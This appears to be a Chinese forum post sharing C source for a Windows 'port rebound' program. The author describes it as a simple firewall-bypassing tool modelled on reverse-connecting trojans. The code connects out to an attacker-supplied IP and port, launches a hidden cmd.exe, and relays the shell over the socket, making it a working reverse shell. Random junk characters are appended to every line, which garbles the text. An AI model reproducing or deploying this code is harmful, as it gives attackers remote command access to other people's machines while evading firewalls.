Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 0# 1~'e  
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/* ============================== o\W>$$EXD  
Rebound port in Windows NT R3_;!/
1  
By wind,2006/7 |]q{qsy  
===============================*/ V3*@n*"N;  
#include GfP'  
#include ?6vGE~MuR  
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#pragma comment(lib,"wsock32.lib") Y=sv   
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void OutputShell(); JM0+-,dl[  
SOCKET sClient; Z[z" v  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kd&~_=Q  
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void main(int argc,char **argv) ''9K(p6  
{ \Qnr0t@0  
WSADATA stWsaData; fOSJdX0e|Q  
int nRet; mBrZ{hqS  
SOCKADDR_IN stSaiClient,stSaiServer; h8M}}   
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if(argc != 3) !F6rcDKI  
{ m>[G-~0?kI  
printf("Useage:\n\rRebound DestIP DestPort\n"); JT6Be8   
return; `3K."/N6c  
} IYptNR  
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WSAStartup(MAKEWORD(2,2),&stWsaData); kW
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Zg= {  
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stSaiClient.sin_family = AF_INET; (NnE\2  
stSaiClient.sin_port = htons(0); \mb@-kM)  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;/23CFYM  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K43`$  
{ S9b=?? M)  
printf("Bind Socket Failed!\n"); rwwyYIlEg  
return; a&mL Dh/  
} [UdJ(cGf  
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stSaiServer.sin_family = AF_INET; H,/=<Th;i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `7``1TL  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _q-k1$o
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )99^58my  
{ 5K|`RzZ`B$  
printf("Connect Error!"); 5D^2 +`$/  
return; W1M Bk[:Q  
} 4ee-tKH  
OutputShell(); 0Iyb}
  
} f0g_Gn $  
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void OutputShell() DvI^3iG8  
{ <Z1m9O "sy  
char szBuff[1024]; - t4F  
SECURITY_ATTRIBUTES stSecurityAttributes; 6I]{cm  
OSVERSIONINFO stOsversionInfo; }ew)QHd  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @O6 2}F  
STARTUPINFO stStartupInfo; _!vuDv%  
char *szShell; 9j;!4AJ1t  
PROCESS_INFORMATION stProcessInformation; *gwo.s  
unsigned long lBytesRead; X"f]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A}uWy^w  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :9>U+)%  
stSecurityAttributes.lpSecurityDescriptor = 0; Oeg^%Y   
stSecurityAttributes.bInheritHandle = TRUE; .nA9irc  
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se_Oi$VZ{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &xC5Mecb*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >n&+<06  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ob)c0Pz  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eY:jVYG(  
stStartupInfo.wShowWindow = SW_HIDE; a}k5[)et  
stStartupInfo.hStdInput = hReadPipe; `- 9p)@'8k  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3P'Wk|j  
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GetVersionEx(&stOsversionInfo); \%W"KLP  
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switch(stOsversionInfo.dwPlatformId) |t58n{V.O  
{ cGg~+R2P  
case 1: (x[z=_I%`  
szShell = "command.com"; p@YbIn  
break; QcdAg%"yy  
default: .g_Kab3?L  
szShell = "cmd.exe"; >bwq  
break; {I$zmVG  
} ,G$<J0R1  
%x^U3"7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DnB :~&Dw  
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send(sClient,szMsg,77,0); 2;SiH]HNS  
while(1) @7?L+.r$9  
{ nG| NRp  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |)ALJJ=+  
if(lBytesRead) ge&!GO  
{ v?q)E%5j  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p"Di;3!y!  
send(sClient,szBuff,lBytesRead,0); f F9=zrW  
} Is ( Ji  
else ^"J)^3j<  
{ Q"GZh.m  
lBytesRead=recv(sClient,szBuff,1024,0); Lnltt86  
if(lBytesRead<=0) break; m8*)@e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2B=BRVtSs  
} Pfg.'Bl  
} @PKY>58)  
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return; ZlL]AD@  
}